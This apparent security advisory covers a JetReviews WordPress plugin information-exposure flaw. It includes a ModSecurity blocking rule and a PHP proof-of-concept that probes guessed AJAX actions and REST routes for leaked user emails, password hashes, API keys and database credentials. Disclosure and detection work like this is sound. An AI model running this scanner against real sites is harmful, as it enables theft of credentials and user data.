CVE-2026-61975: JetReviews <= 3.0.1 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-61975 (metadata-based)
# Blocks unauthenticated access to JetReviews AJAX handlers that expose sensitive data.
# The rule targets the plugin's AJAX action pattern and parameter combinations.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261975,phase:2,deny,status:403,chain,msg:'CVE-2026-61975 via JetReviews AJAX',severity:'CRITICAL',tag:'CVE-2026-61975'"
  SecRule ARGS_POST:action "@pm jet_reviews_get_users jet_reviews_get_user_data jet_reviews_get_settings jet_reviews_export_data jet_reviews_get_options jet_reviews_debug_info" "chain"
    SecRule ARGS_POST "@rx (user|email|pass|api|config|setting|database|export)" "t:lowercase"

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-61975 - JetReviews <= 3.0.1 - Unauthenticated Information Exposure

// This PoC targets unauthenticated information exposure in JetReviews.
// It attempts common AJAX actions and REST API endpoints that might expose
// sensitive data. Adjust the target URL and endpoints based on your testing environment.

$target_url = 'https://example.com'; // Change to your target WordPress site

function send_request($url, $method = 'GET', $post_data = [], $headers = []) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    }
    if (!empty($headers)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ['code' => $http_code, 'body' => $response];
}

// Step 1: Try common AJAX actions that may expose user/settings data.
$ajax_actions = [
    'jet_reviews_get_users',
    'jet_reviews_get_user_data',
    'jet_reviews_get_settings',
    'jet_reviews_export_data',
    'jet_reviews_get_options',
    'jet_reviews_debug_info',
];

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

foreach ($ajax_actions as $action) {
    echo "[+] Testing AJAX action: {$action}n";
    $result = send_request($ajax_url, 'POST', ['action' => $action]);
    // Check if response contains any sensitive patterns (e.g., wp_users, email, api_key)
    if ($result['code'] == 200 && preg_match('/(s:\d+|wp_users|user_email|user_pass|api_key|database|DB_NAME|DB_PASSWORD)/i', $result['body'])) {
        echo "[!] Potential exposure via AJAX action '{$action}'n";
        echo "HTTP Code: {$result['code']}n";
        echo "Response body (first 500 chars):n" . substr($result['body'], 0, 500) . "nn";
        exit(0);
    }
}

// Step 2: Try REST API endpoints
$rest_routes = [
    '/wp-json/jet-reviews/v1/get-users',
    '/wp-json/jet-reviews/v1/get-settings',
    '/wp-json/jet-reviews/v1/user-data',
    '/wp-json/jet-reviews/v1/config',
    '/wp-json/jet-reviews/v1/debug',
];

foreach ($rest_routes as $route) {
    echo "[+] Testing REST route: {$route}n";
    $result = send_request($target_url . $route);
    if ($result['code'] == 200 && preg_match('/(s:\d+|wp_users|user_email|user_pass|api_key|database|DB_NAME|DB_PASSWORD)/i', $result['body'])) {
        echo "[!] Potential exposure via REST route '{$route}'n";
        echo "HTTP Code: {$result['code']}n";
        echo "Response body (first 500 chars):n" . substr($result['body'], 0, 500) . "nn";
        exit(0);
    }
}

echo "[!] No obvious endpoint found. Adjust the endpoint list based on the target plugin version.n";